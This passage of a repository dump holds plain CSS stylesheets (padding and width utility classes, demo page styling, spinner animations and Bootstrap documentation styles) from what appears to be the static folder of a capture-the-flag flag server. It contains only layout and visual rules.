{padding-bottom: 55px!important;} .p-b-56 {padding-bottom: 56px!important;} .p-b-57 {padding-bottom: 57px!important;} .p-b-58 {padding-bottom: 58px!important;} .p-b-59 {padding-bottom: 59px!important;} .p-b-60 {padding-bottom: 60px!important;} .p-b-61 {padding-bottom: 61px!important;} .p-b-62 {padding-bottom: 62px!important;} .p-b-63 {padding-bottom: 63px!important;} .p-b-64 {padding-bottom: 64px!important;} .p-b-65 {padding-bottom: 65px!important;} .p-b-66 {padding-bottom: 66px!important;} .p-b-67 {padding-bottom: 67px!important;} .p-b-68 {padding-bottom: 68px!important;} .p-b-69 {padding-bottom: 69px!important;} .p-b-70 {padding-bottom: 70px!important;} .p-b-71 {padding-bottom: 71px!important;} .p-b-72 {padding-bottom: 72px!important;} .p-b-73 {padding-bottom: 73px!important;} .p-b-74 {padding-bottom: 74px!important;} .p-b-75 {padding-bottom: 75px!important;} .p-b-76 {padding-bottom: 76px!important;} .p-b-77 {padding-bottom: 77px!important;} .p-b-78 {padding-bottom: 78px!important;} .p-b-79 {padding-bottom: 79px!important;} .p-b-80 {padding-bottom: 80px!important;} .p-b-81 {padding-bottom: 81px!important;} .p-b-82 {padding-bottom: 82px!important;} .p-b-83 {padding-bottom: 83px!important;} .p-b-84 {padding-bottom: 84px!important;} .p-b-85 {padding-bottom: 85px!important;} .p-b-86 {padding-bottom: 86px!important;} .p-b-87 {padding-bottom: 87px!important;} .p-b-88 {padding-bottom: 88px!important;} .p-b-89 {padding-bottom: 89px!important;} .p-b-90 {padding-bottom: 90px!important;} .p-b-91 {padding-bottom: 91px!important;} .p-b-92 {padding-bottom: 92px!important;} .p-b-93 {padding-bottom: 93px!important;} .p-b-94 {padding-bottom: 94px!important;} .p-b-95 {padding-bottom: 95px!important;} .p-b-96 {padding-bottom: 96px!important;} .p-b-97 {padding-bottom: 97px!important;} .p-b-98 {padding-bottom: 98px!important;} .p-b-99 {padding-bottom: 99px!important;} .p-b-100 {padding-bottom: 100px!important;} .p-b-101 {padding-bottom: 101px!important;} .p-b-102 {padding-bottom: 102px!important;} .p-b-103 {padding-bottom: 103px!important;} .p-b-104 {padding-bottom: 104px!important;} .p-b-105 {padding-bottom: 105px!important;} .p-b-106 {padding-bottom: 106px!important;} .p-b-107 {padding-bottom: 107px!important;} .p-b-108 {padding-bottom: 108px!important;} .p-b-109 {padding-bottom: 109px!important;} .p-b-110 {padding-bottom: 110px!important;} .p-b-111 {padding-bottom: 111px!important;} .p-b-112 {padding-bottom: 112px!important;} .p-b-113 {padding-bottom: 113px!important;} .p-b-114 {padding-bottom: 114px!important;} .p-b-115 {padding-bottom: 115px!important;} .p-b-116 {padding-bottom: 116px!important;} .p-b-117 {padding-bottom: 117px!important;} .p-b-118 {padding-bottom: 118px!important;} .p-b-119 {padding-bottom: 119px!important;} .p-b-120 {padding-bottom: 120px!important;} .p-b-121 {padding-bottom: 121px!important;} .p-b-122 {padding-bottom: 122px!important;} .p-b-123 {padding-bottom: 123px!important;} .p-b-124 {padding-bottom: 124px!important;} .p-b-125 {padding-bottom: 125px!important;} .p-b-126 {padding-bottom: 126px!important;} .p-b-127 {padding-bottom: 127px!important;} .p-b-128 {padding-bottom: 128px!important;} .p-b-129 {padding-bottom: 129px!important;} .p-b-130 {padding-bottom: 130px!important;} .p-b-131 {padding-bottom: 131px!important;} .p-b-132 {padding-bottom: 132px!important;} .p-b-133 {padding-bottom: 133px!important;} .p-b-134 {padding-bottom: 134px!important;} .p-b-135 {padding-bottom: 135px!important;} .p-b-136 {padding-bottom: 136px!important;} .p-b-137 {padding-bottom: 137px!important;} .p-b-138 {padding-bottom: 138px!important;} .p-b-139 {padding-bottom: 139px!important;} .p-b-140 {padding-bottom: 140px!important;} .p-b-141 {padding-bottom: 141px!important;} .p-b-142 {padding-bottom: 142px!important;} .p-b-143 {padding-bottom: 143px!important;} .p-b-144 {padding-bottom: 144px!important;} .p-b-145 {padding-bottom: 145px!important;} .p-b-146 {padding-bottom: 146px!important;} .p-b-147 {padding-bottom: 147px!important;} .p-b-148 {padding-bottom: 148px!important;} .p-b-149 {padding-bottom: 149px!important;} .p-b-150 {padding-bottom: 150px!important;} /* padding left */ .p-l-0 {padding-left: 0px!important;} .p-l-1 {padding-left: 1px!important;} .p-l-2 {padding-left: 2px!important;} .p-l-3 {padding-left: 3px!important;} .p-l-4 {padding-left: 4px!important;} .p-l-5 {padding-left: 5px!important;} .p-l-6 {padding-left: 6px!important;} .p-l-7 {padding-left: 7px!important;} .p-l-8 {padding-left: 8px!important;} .p-l-9 {padding-left: 9px!important;} .p-l-10 {padding-left: 10px!important;} .p-l-11 {padding-left: 11px!important;} .p-l-12 {padding-left: 12px!important;} .p-l-13 {padding-left: 13px!important;} .p-l-14 {padding-left: 14px!important;} .p-l-15 {padding-left: 15px!important;} .p-l-16 {padding-left: 16px!important;} .p-l-17 {padding-left: 17px!important;} .p-l-18 {padding-left: 18px!important;} .p-l-19 {padding-left: 19px!important;} .p-l-20 {padding-left: 20px!important;} .p-l-21 {padding-left: 21px!important;} .p-l-22 {padding-left: 22px!important;} .p-l-23 {padding-left: 23px!important;} .p-l-24 {padding-left: 24px!important;} .p-l-25 {padding-left: 25px!important;} .p-l-26 {padding-left: 26px!important;} .p-l-27 {padding-left: 27px!important;} .p-l-28 {padding-left: 28px!important;} .p-l-29 {padding-left: 29px!important;} .p-l-30 {padding-left: 30px!important;} .p-l-31 {padding-left: 31px!important;} .p-l-32 {padding-left: 32px!important;} .p-l-33 {padding-left: 33px!important;} .p-l-34 {padding-left: 34px!important;} .p-l-35 {padding-left: 35px!important;} .p-l-36 {padding-left: 36px!important;} .p-l-37 {padding-left: 37px!important;} .p-l-38 {padding-left: 38px!important;} .p-l-39 {padding-left: 39px!important;} .p-l-40 {padding-left: 40px!important;} .p-l-41 {padding-left: 4px!important;} .p-l-42 {padding-left: 42px!important;} .p-l-43 {padding-left: 43px!important;} .p-l-44 {padding-left: 44px!important;} .p-l-45 {padding-left: 45px!important;} .p-l-46 {padding-left: 46px!important;} .p-l-47 {padding-left: 47px!important;} .p-l-48 {padding-left: 48px!important;} .p-l-49 {padding-left: 49px!important;} .p-l-50 {padding-left: 50px!important;} .p-l-51 {padding-left: 51px!important;} .p-l-52 {padding-left: 52px!important;} .p-l-53 {padding-left: 53px!important;} .p-l-54 {padding-left: 54px!important;} .p-l-55 {padding-left: 55px!important;} .p-l-56 {padding-left: 56px!important;} .p-l-57 {padding-left: 57px!important;} .p-l-58 {padding-left: 58px!important;} .p-l-59 {padding-left: 59px!important;} .p-l-60 {padding-left: 60px!important;} .p-l-61 {padding-left: 61px!important;} .p-l-62 {padding-left: 62px!important;} .p-l-63 {padding-left: 63px!important;} .p-l-64 {padding-left: 64px!important;} .p-l-65 {padding-left: 65px!important;} .p-l-66 {padding-left: 66px!important;} .p-l-67 {padding-left: 67px!important;} .p-l-68 {padding-left: 68px!important;} .p-l-69 {padding-left: 69px!important;} .p-l-70 {padding-left: 70px!important;} .p-l-71 {padding-left: 71px!important;} .p-l-72 {padding-left: 72px!important;} .p-l-73 {padding-left: 73px!important;} .p-l-74 {padding-left: 74px!important;} .p-l-75 {padding-left: 75px!important;} .p-l-76 {padding-left: 76px!important;} .p-l-77 {padding-left: 77px!important;} .p-l-78 {padding-left: 78px!important;} .p-l-79 {padding-left: 79px!important;} .p-l-80 {padding-left: 80px!important;} .p-l-81 {padding-left: 81px!important;} .p-l-82 {padding-left: 82px!important;} .p-l-83 {padding-left: 83px!important;} .p-l-84 {padding-left: 84px!important;} .p-l-85 {padding-left: 85px!important;} .p-l-86 {padding-left: 86px!important;} .p-l-87 {padding-left: 87px!important;} .p-l-88 {padding-left: 88px!important;} .p-l-89 {padding-left: 89px!important;} .p-l-90 {padding-left: 90px!important;} .p-l-91 {padding-left: 91px!important;} .p-l-92 {padding-left: 92px!important;} .p-l-93 {padding-left: 93px!important;} .p-l-94 {padding-left: 94px!important;} .p-l-95 {padding-left: 95px!important;} .p-l-96 {padding-left: 96px!important;} .p-l-97 {padding-left: 97px!important;} .p-l-98 {padding-left: 98px!important;} .p-l-99 {padding-left: 99px!important;} .p-l-100 {padding-left: 100px!important;} .p-l-101 {padding-left: 101px!important;} .p-l-102 {padding-left: 102px!important;} .p-l-103 {padding-left: 103px!important;} .p-l-104 {padding-left: 104px!important;} .p-l-105 {padding-left: 105px!important;} .p-l-106 {padding-left: 106px!important;} .p-l-107 {padding-left: 107px!important;} .p-l-108 {padding-left: 108px!important;} .p-l-109 {padding-left: 109px!important;} .p-l-110 {padding-left: 110px!important;} .p-l-111 {padding-left: 111px!important;} .p-l-112 {padding-left: 112px!important;} .p-l-113 {padding-left: 113px!important;} .p-l-114 {padding-left: 114px!important;} .p-l-115 {padding-left: 115px!important;} .p-l-116 {padding-left: 116px!important;} .p-l-117 {padding-left: 117px!important;} .p-l-118 {padding-left: 118px!important;} .p-l-119 {padding-left: 119px!important;} .p-l-120 {padding-left: 120px!important;} .p-l-121 {padding-left: 121px!important;} .p-l-122 {padding-left: 122px!important;} .p-l-123 {padding-left: 123px!important;} .p-l-124 {padding-left: 124px!important;} .p-l-125 {padding-left: 125px!important;} .p-l-126 {padding-left: 126px!important;} .p-l-127 {padding-left: 127px!important;} .p-l-128 {padding-left: 128px!important;} .p-l-129 {padding-left: 129px!important;} .p-l-130 {padding-left: 130px!important;} .p-l-131 {padding-left: 131px!important;} .p-l-132 {padding-left: 132px!important;} .p-l-133 {padding-left: 133px!important;} .p-l-134 {padding-left: 134px!important;} .p-l-135 {padding-left: 135px!important;} .p-l-136 {padding-left: 136px!important;} .p-l-137 {padding-left: 137px!important;} .p-l-138 {padding-left: 138px!important;} .p-l-139 {padding-left: 139px!important;} .p-l-140 {padding-left: 140px!important;} .p-l-141 {padding-left: 141px!important;} .p-l-142 {padding-left: 142px!important;} .p-l-143 {padding-left: 143px!important;} .p-l-144 {padding-left: 144px!important;} .p-l-145 {padding-left: 145px!important;} .p-l-146 {padding-left: 146px!important;} .p-l-147 {padding-left: 147px!important;} .p-l-148 {padding-left: 148px!important;} .p-l-149 {padding-left: 149px!important;} .p-l-150 {padding-left: 150px!important;} /* Width percentage*/ .w-5{ width:5%!important; } .w-10{ width:10%!important; } .w-15{ width:15%!important; } .w-20{ width:20%!important; } .w-25{ width:25%!important; } .w-30{ width:30%!important; } .w-35{ width:35%!important; } .w-40{ width:40%!important; } .w-45{ width:45%!important; } .w-50{ width:50%!important; } .w-55{ width:55%!important; } .w-60{ width:60%!important; } .w-65{ width:65%!important; } .w-70{ width:70%!important; } .w-75{ width:75%!important; } .w-80{ width:80%!important; } .w-85{ width:85%!important; } .w-90{ width:90%!important; } .w-95{ width:95%!important; } .w-100{ width:100%!important; } ================================================ FILE: flag_server/webapps/static/css/htmleaf-demo.css ================================================ @font-face { font-family: 'icomoon'; src:url('../fonts/icomoon.eot?rretjt'); src:url('../fonts/icomoon.eot?#iefixrretjt') format('embedded-opentype'), url('../fonts/icomoon.woff?rretjt') format('woff'), url('../fonts/icomoon.ttf?rretjt') format('truetype'), url('../fonts/icomoon.svg?rretjt#icomoon') format('svg'); font-weight: normal; font-style: normal; } [class^="icon-"], [class*=" icon-"] { font-family: 'icomoon'; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } body, html { font-size: 100%; padding: 0; margin: 0;} /* Reset */ *, *:after, *:before { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* Clearfix hack by Nicolas Gallagher: http://nicolasgallagher.com/micro-clearfix-hack/ */ .clearfix:before, .clearfix:after { content: " "; display: table; } .clearfix:after { clear: both; } body{ background: #494A5F; color: #D5D6E2; font-weight: 500; font-size: 1.05em; font-family: "Microsoft YaHei","Segoe UI", "Lucida Grande", Helvetica, Arial,sans-serif; } .htmleaf-links a{ color: rgba(255, 255, 255, 0.6);outline: none;text-decoration: none;-webkit-transition: 0.2s;transition: 0.2s;} .htmleaf-links a:hover,.htmleaf-links a:focus{color:#74777b;text-decoration: none;} .htmleaf-container{ margin: 0 auto; } .bgcolor-1 { background: #f0efee; } .bgcolor-2 { background: #f9f9f9; } .bgcolor-3 { background: #e8e8e8; }/*light grey*/ .bgcolor-4 { background: #2f3238; color: #fff; }/*Dark grey*/ .bgcolor-5 { background: #df6659; color: #521e18; }/*pink1*/ .bgcolor-6 { background: #2fa8ec; }/*sky blue*/ .bgcolor-7 { background: #d0d6d6; }/*White tea*/ .bgcolor-8 { background: #3d4444; color: #fff; }/*Dark grey2*/ .bgcolor-9 { background: #ef3f52; color: #fff;}/*pink2*/ .bgcolor-10{ background: #64448f; color: #fff;}/*Violet*/ .bgcolor-11{ background: #3755ad; color: #fff;}/*dark blue*/ .bgcolor-12{ background: #3498DB; color: #fff;}/*light blue*/ .bgcolor-20{ background: #494A5F;color: #D5D6E2;} /* Header */ .htmleaf-header{ padding: 1em 190px 1em; letter-spacing: -1px; text-align: center; } .htmleaf-header h1 { color: #D5D6E2; font-weight: 600; font-size: 2em; line-height: 1; margin-bottom: 0; } .htmleaf-header h1 span { display: block; font-size: 60%; font-weight: 400; padding: 0.8em 0 0.5em 0; color: #c3c8cd; } /*nav*/ .htmleaf-demo a{color: #fff;text-decoration: none;} .htmleaf-demo{width: 100%;padding-bottom: 1.2em;} .htmleaf-demo a{display: inline-block;margin: 0.5em;padding: 0.6em 1em;border: 3px solid #fff;font-weight: 700;} .htmleaf-demo a:hover{opacity: 0.6;} .htmleaf-demo a.current{background:#1d7db1;color: #fff; } /* Top Navigation Style */ .htmleaf-links { position: relative; display: inline-block; white-space: nowrap; font-size: 1.5em; text-align: center; } .htmleaf-links::after { position: absolute; top: 0; left: 50%; margin-left: -1px; width: 2px; height: 100%; background: #dbdbdb; content: ''; -webkit-transform: rotate3d(0,0,1,22.5deg); transform: rotate3d(0,0,1,22.5deg); } .htmleaf-icon { display: inline-block; margin: 0.5em; padding: 0em 0; width: 1.5em; text-decoration: none; } .htmleaf-icon span { display: none; } .htmleaf-icon:before { margin: 0 5px; text-transform: none; font-weight: normal; font-style: normal; font-variant: normal; font-family: 'icomoon'; line-height: 1; speak: none; -webkit-font-smoothing: antialiased; } /* footer */ .htmleaf-footer{width: 100%;padding-top: 10px;} .htmleaf-small{font-size: 0.8em;} .center{text-align: center;} /****/ .related { color: #fff; background: #494A5F; text-align: center; font-size: 1.25em; padding: 0.5em 0; overflow: hidden; } .related > a { vertical-align: top; width: calc(100% - 20px); max-width: 340px; display: inline-block; text-align: center; margin: 20px 10px; padding: 25px; font-family: "Microsoft YaHei","宋体","Segoe UI", "Lucida Grande", Helvetica, Arial,sans-serif, FreeSans, Arimo; } .related a { display: inline-block; text-align: left; margin: 20px auto; padding: 10px 20px; opacity: 0.8; -webkit-transition: opacity 0.3s; transition: opacity 0.3s; -webkit-backface-visibility: hidden; text-decoration: none; } .related a:hover, .related a:active { opacity: 1; } .related a img { max-width: 100%; opacity: 0.8; border-radius: 4px; } .related a:hover img, .related a:active img { opacity: 1; } .related h3{font-family: "Microsoft YaHei", sans-serif;font-size: 1.2em} .related a h3 { font-size: 0.85em; font-weight: 300; margin-top: 0.15em; color: #fff; } /* icomoon */ .icon-htmleaf-home-outline:before { content: "\e5000"; } .icon-htmleaf-arrow-forward-outline:before { content: "\e5001"; } @media screen and (max-width: 1024px) { .htmleaf-header { padding: 2em 10% 2em; } .htmleaf-header h1 { font-size:1.4em; } .htmleaf-links{font-size: 1.4em} } @media screen and (max-width: 960px) { .htmleaf-header { padding: 2em 10% 2em; } .htmleaf-header h1 { font-size:1.2em; } .htmleaf-links{font-size: 1.2em} .related h3{font-size: 1em;} .related a h3 { font-size: 0.8em; } } @media screen and (max-width: 766px) { .htmleaf-header h1 { font-size:1.3em; } .htmleaf-links{font-size: 1.3em} } @media screen and (max-width: 640px) { .htmleaf-header { padding: 2em 10% 2em; } .htmleaf-header h1 { font-size:1em; } .htmleaf-links{font-size: 1em} .related h3{font-size: 0.8em;} .related a h3 { font-size: 0.6em; } } ================================================ FILE: flag_server/webapps/static/css/hullabaloo.css ================================================ /* Space out content a bit */ body { padding-top: 20px; padding-bottom: 20px; } /* Everything but the jumbotron gets side spacing for mobile first views */ .header, .footer { padding-right: 15px; padding-left: 15px; } /* Custom page header */ .header { padding-bottom: 20px; border-bottom: 1px solid #e5e5e5; } /* Make the masthead heading the same height as the navigation */ .header h3 { margin-top: 0; margin-bottom: 0; line-height: 40px; } .content{ padding:40px 0; } /* Custom page footer */ .footer { padding-top: 19px; color: #777; border-top: 1px solid #e5e5e5; } /* Customize container */ @media (min-width: 768px) { .container { max-width: 730px; } } .container-narrow > hr { margin: 30px 0; } /* Main marketing message and sign up button */ .jumbotron { text-align: center; border-bottom: 1px solid #e5e5e5; } .jumbotron .btn { padding: 14px 24px; font-size: 21px; } /* Responsive: Portrait tablets and up */ @media screen and (min-width: 768px) { /* Remove the padding we set earlier */ .header, .footer { padding-right: 0; padding-left: 0; } /* Space out the masthead */ .header { margin-bottom: 30px; } /* Remove the bottom border on the jumbotron for visual effect */ .jumbotron { border-bottom: 0; } } ================================================ FILE: flag_server/webapps/static/css/spinners.css ================================================ .preloader{ position: relative; margin: 0 auto; width: 100px; } .preloader:before{ content: ''; display: block; padding-top: 100%; } .circular { animation: rotate 2s linear infinite; height: 50px; transform-origin: center center; width: 50px; position: absolute; top: 0; bottom: 0; left: 0; right: 0; margin: auto; } .path { stroke-dasharray: 1, 200; stroke-dashoffset: 0; animation: dash 1.5s ease-in-out infinite, color 6s ease-in-out infinite; stroke-linecap: round; } @keyframes rotate { 100% { transform: rotate(360deg); } } @keyframes dash { 0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; } 50% { stroke-dasharray: 89, 200; stroke-dashoffset: -35px; } 100% { stroke-dasharray: 89, 200; stroke-dashoffset: -124px; } } @keyframes color { 100%, 0% { stroke: #d62d20; } 40% { stroke: #0057e7; } 66% { stroke: #008744; } 80%, 90% { stroke: #ffa700; } } .bd-booticon{display:block;width:9rem;height:9rem;font-size:6.5rem;line-height:9rem;color:#fff;text-align:center;cursor:default;background-color:#563d7c;border-radius:15%}.bd-booticon.inverse{color:#563d7c;background-color:#fff}.bd-booticon.outline{background-color:transparent;border:1px solid #cdbfe3}.bd-navbar .navbar-nav .nav-link{color:#8e869d}.bd-navbar .navbar-nav .nav-link.active,.bd-navbar .navbar-nav .nav-link:focus,.bd-navbar .navbar-nav .nav-link:hover{color:#292b2c;background-color:transparent}.bd-navbar .navbar-nav .nav-link.active{font-weight:500;color:#040404}.bd-navbar .dropdown-menu{font-size:inherit}.bd-masthead{position:relative;padding:3rem 15px 2rem;color:#cdbfe3;text-align:center;background-image:-webkit-linear-gradient(315deg,#271b38,#563d7c,#7952b3);background-image:-o-linear-gradient(315deg,#271b38,#563d7c,#7952b3);background-image:linear-gradient(135deg,#271b38,#563d7c,#7952b3)}.bd-masthead .bd-booticon{margin:0 auto 2rem;color:#cdbfe3;border-color:#cdbfe3}.bd-masthead h1{font-weight:300;line-height:1}.bd-masthead .lead{margin-right:auto;margin-bottom:2rem;margin-left:auto;font-size:1.25rem;color:#fff}.bd-masthead .version{margin-top:-1rem;margin-bottom:2rem}.bd-masthead .btn{width:100%;padding:1rem 2rem;font-size:1.25rem;font-weight:500;color:#ffe484;border-color:#ffe484}.bd-masthead .btn:hover{color:#2a2730;background-color:#ffe484;border-color:#ffe484}.bd-masthead .carbonad{margin-bottom:-2rem!important}@media (min-width:576px){.bd-masthead{padding-top:8rem;padding-bottom:2rem}.bd-masthead .btn{width:auto}.bd-masthead .carbonad{margin-bottom:0!important}}@media (min-width:768px){.bd-masthead{padding-bottom:4rem}.bd-masthead .bd-header{margin-bottom:4rem}.bd-masthead h1{font-size:4rem}.bd-masthead .lead{font-size:1.5rem}.bd-masthead .carbonad{margin-top:3rem!important}}@media (min-width:992px){.bd-masthead .lead{width:85%;font-size:2rem}}.bd-featurette{padding-top:3rem;padding-bottom:3rem;font-size:1rem;line-height:1.5;color:#555;text-align:center;background-color:#fff;border-top:1px solid #eee}.bd-featurette .highlight{text-align:left}.bd-featurette .lead{margin-right:auto;margin-bottom:2rem;margin-left:auto;font-size:1rem;text-align:center}@media (min-width:576px){.bd-featurette{text-align:left}}@media (min-width:768px){.bd-featurette .col-sm-6:first-child{padding-right:45px}.bd-featurette .col-sm-6:last-child{padding-left:45px}}.bd-featurette-title{margin-bottom:.5rem;font-size:2rem;font-weight:400;color:#333;text-align:center}.half-rule{width:6rem;margin:2.5rem auto}@media (min-width:576px){.half-rule{margin-right:0;margin-left:0}}.bd-featurette h4{margin-top:1rem;margin-bottom:.5rem;font-weight:400;color:#333}.bd-featurette-img{display:block;margin-bottom:1.25rem;color:#333}.bd-featurette-img:hover{color:#0275d8;text-decoration:none}.bd-featurette-img img{display:block;margin-bottom:1rem}@media (min-width:480px){.bd-featurette .img-fluid{margin-top:2rem}}@media (min-width:768px){.bd-featurette{padding-top:6rem;padding-bottom:6rem}.bd-featurette-title{font-size:2.5rem}.bd-featurette-title+.lead{font-size:1.5rem}.bd-featurette .lead{max-width:80%}.bd-featurette .img-fluid{margin-top:0}}.bd-featured-sites{margin-right:-1px;margin-left:-1px}.bd-featured-sites .col-6{padding:1px}.bd-featured-sites .img-fluid{margin-top:0}@media (min-width:768px){.bd-featured-sites .col-sm-3:first-child img{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.bd-featured-sites .col-sm-3:last-child img{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}}#carbonads{display:block;padding:15px 15px 15px 160px;margin:50px -15px 0;overflow:hidden;font-size:13px;line-height:1.5;text-align:left;border:solid #866ab3;border-width:1px 0 0}#carbonads a{color:#fff;text-decoration:none}@media (min-width:576px){#carbonads{max-width:330px;margin:50px auto 0;border-width:1px;border-radius:4px}}@media (min-width:992px){#carbonads{position:absolute;top:0;right:15px;margin-top:0}.bd-masthead #carbonads{position:static}}.carbon-img{float:left;margin-left:-145px}.carbon-poweredby{display:block;color:#cdbfe3!important}.bd-content>table{display:block;width:100%;max-width:100%;margin-bottom:1rem;overflow-y:auto}.bd-content>table>tbody>tr>td,.bd-content>table>tbody>tr>th,.bd-content>table>tfoot>tr>td,.bd-content>table>tfoot>tr>th,.bd-content>table>thead>tr>td,.bd-content>table>thead>tr>th{padding:.75rem;vertical-align:top;border:1px solid #eceeef}.bd-content>table>tbody>tr>td>p:last-child,.bd-content>table>tbody>tr>th>p:last-child,.bd-content>table>tfoot>tr>td>p:last-child,.bd-content>table>tfoot>tr>th>p:last-child,.bd-content>table>thead>tr>td>p:last-child,.bd-content>table>thead>tr>th>p:last-child{margin-bottom:0}.bd-content>table td:first-child>code{white-space:nowrap}.bd-content>h2:not(:first-child){margin-top:3rem}.bd-content>h3{margin-top:1.5rem}.bd-content>ol li,.bd-content>ul li{margin-bottom:.25rem}@media (min-width:576px){.bd-title{font-size:3rem}.bd-title+p{font-size:1.25rem;font-weight:300}}#markdown-toc>li:first-child{display:none}#markdown-toc ul{padding-left:2rem;margin-top:.25rem;margin-bottom:.25rem}.bd-pageheader{padding:2rem 15px;margin-bottom:1.5rem;color:#cdbfe3;text-align:center;background-color:#563d7c}.bd-pageheader .container{position:relative}.bd-pageheader h1{font-size:3rem;font-weight:400;color:#fff}.bd-pageheader p{margin-bottom:0;font-size:1.25rem;font-weight:300}@media (min-width:576px){.bd-pageheader{padding-top:4rem;padding-bottom:4rem;margin-bottom:3rem;text-align:left}.bd-pageheader .carbonad{margin:2rem 0 0!important}}@media (min-width:768px){.bd-pageheader h1{font-size:4rem}.bd-pageheader p{font-size:1.5rem}}@media (min-width:992px){.bd-pageheader h1,.bd-pageheader p{margin-right:380px}.bd-pageheader .carbonad{position:absolute;top:0;right:.75rem;margin:0!important}}#skippy{display:block;padding:1em;color:#fff;background-color:#563d7c;outline:0}#skippy .skiplink-text{padding:.5em;outline:1px dotted}@media (min-width:768px){.bd-sidebar{padding-left:1rem}}.bd-search{position:relative;margin-bottom:1.5rem}.bd-search .form-control{height:2.45rem;padding-top:.4rem;padding-bottom:.4rem;background-color:#fafafa}.bd-search .form-control:focus{background-color:#fff}.bd-search-results{right:0;display:block;padding:0;overflow:hidden;font-size:.9rem}.bd-search-results:empty{display:none}.bd-search-results .dropdown-item{padding-right:.75rem;padding-left:.75rem}.bd-search-results .dropdown-item:first-child{margin-top:.25rem}.bd-search-results .dropdown-item:last-child{margin-bottom:.25rem}.bd-search-results .no-results{padding:.75rem 1rem;color:#7a7a7a;text-align:center;white-space:normal}.bd-sidenav{display:none}.bd-toc-link{display:block;padding:.25rem .75rem;color:#464a4c}.bd-toc-link:focus,.bd-toc-link:hover{color:#0275d8;text-decoration:none}.active>.bd-toc-link{font-weight:500;color:#292b2c}.active>.bd-sidenav{display:block}.bd-toc-item.active{margin-top:1rem;margin-bottom:1rem}.bd-toc-item:first-child{margin-top:0}.bd-toc-item:last-child{margin-bottom:2rem}.bd-sidebar .nav>li>a{display:block;padding:.25rem .75rem;font-size:90%;color:#99979c}.bd-sidebar .nav>li>a:focus,.bd-sidebar .nav>li>a:hover{color:#0275d8;text-decoration:none;background-color:transparent}.bd-sidebar .nav>.active:focus>a,.bd-sidebar .nav>.active:hover>a,.bd-sidebar .nav>.active>a{font-weight:500;color:#292b2c;background-color:transparent}.bd-footer{padding:4rem 0;margin-top:4rem;font-size:85%;text-align:center;background-color:#f7f7f7}.bd-footer a{font-weight:500;color:#464a4c}.bd-footer a:hover{color:#0275d8}.bd-footer p{margin-bottom:0}@media (min-width:576px){.bd-footer{text-align:left}}.bd-footer-links{padding-left:0;margin-bottom:1rem}.bd-footer-links li{display:inline-block}.bd-footer-links li+li{margin-left:1rem}.bd-example-row .row+.row{margin-top:1rem}.bd-example-row .row>.col,.bd-example-row .row>[class^=col-]{padding-top:.75rem;padding-bottom:.75rem;background-color:rgba(86,61,124,.15);border:1px solid rgba(86,61,124,.2)}.bd-example-row .flex-items-bottom,.bd-example-row .flex-items-middle,.bd-example-row .flex-items-top{min-height:6rem;background-color:rgba(255,0,0,.1)}.bd-example-row-flex-cols .row{min-height:10rem;background-color:rgba(255,0,0,.1)}.bd-highlight{background-color:rgba(86,61,124,.15);border:1px solid rgba(86,61,124,.15)}.bd-example-container{min-width:16rem;max-width:25rem;margin-right:auto;margin-left:auto}.bd-example-container-header{height:3rem;margin-bottom:.5rem;background-color:#daeeff;border-radius:.25rem}.bd-example-container-sidebar{float:right;width:4rem;height:8rem;background-color:#fae3c4;border-radius:.25rem}.bd-example-container-body{height:8rem;margin-right:4.5rem;background-color:#957bbe;border-radius:.25rem}.bd-example-container-fluid{max-width:none}.bd-example{position:relative;padding:1rem;margin:1rem -1rem;border:solid #f7f7f9;border-width:.2rem 0 0}.bd-example::after{display:block;content:"";clear:both}@media (min-width:576px){.bd-example{padding:1.5rem;margin-right:0;margin-bottom:0;margin-left:0;border-width:.2rem}}.bd-example+.clipboard+.highlight,.bd-example+.highlight{margin-top:0}.bd-example+p{margin-top:2rem}.bd-example .pos-f-t{position:relative;margin:-1rem}@media (min-width:576px){.bd-example .pos-f-t{margin:-1.5rem}}.bd-example>.form-control+.form-control{margin-top:.5rem}.bd-example>.alert+.alert,.bd-example>.nav+.nav,.bd-example>.navbar+.navbar,.bd-example>.progress+.btn,.bd-example>.progress+.progress{margin-top:1rem}.bd-example>.dropdown-menu:first-child{position:static;display:block}.bd-example>.form-group:last-child{margin-bottom:0}.bd-example>.close{float:none}.bd-example-type .table .type-info{color:#999;vertical-align:middle}.bd-example-type .table td{padding:1rem 0;border-color:#eee}.bd-example-type .table tr:first-child td{border-top:0}.bd-example-type h1,.bd-example-type h2,.bd-example-type h3,.bd-example-type h4,.bd-example-type h5,.bd-example-type h6{margin:0}.bd-example-bg-classes p{padding:1rem}.bd-example>img+img{margin-left:.5rem}.bd-example>.btn-group{margin-top:.25rem;margin-bottom:.25rem}.bd-example>.btn-toolbar+.btn-toolbar{margin-top:.5rem}.bd-example-control-sizing input[type=text]+input[type=text],.bd-example-control-sizing select{margin-top:.5rem}.bd-example-form .input-group{margin-bottom:.5rem}.bd-example>textarea.form-control{resize:vertical}.bd-example>.list-group{max-width:400px}.bd-example .fixed-top,.bd-example .sticky-top{position:static;margin:-1rem -1rem 1rem}.bd-example .fixed-bottom{position:static;margin:1rem -1rem -1rem}@media (min-width:576px){.bd-example .fixed-top,.bd-example .sticky-top{margin:-1.5rem -1.5rem 1rem}.bd-example .fixed-bottom{margin:1rem -1.5rem -1.5rem}}.bd-example .pagination{margin-top:.5rem;margin-bottom:.5rem}.bd-example-modal{background-color:#fafafa}.bd-example-modal .modal{position:relative;top:auto;right:auto;bottom:auto;left:auto;z-index:1;display:block}.bd-example-modal .modal-dialog{left:auto;margin-right:auto;margin-left:auto}.bd-example-tabs .nav-tabs{margin-bottom:1rem}.bd-example-tooltips{text-align:center}.bd-example-tooltips>.btn{margin-top:.25rem;margin-bottom:.25rem}.bd-example-popover-static{padding-bottom:1.5rem;background-color:#f9f9f9}.bd-example-popover-static .popover{position:relative;display:block;float:left;width:260px;margin:1.25rem}.tooltip-demo a{white-space:nowrap}.bd-example-tooltip-static .tooltip{position:relative;display:inline-block;margin:10px 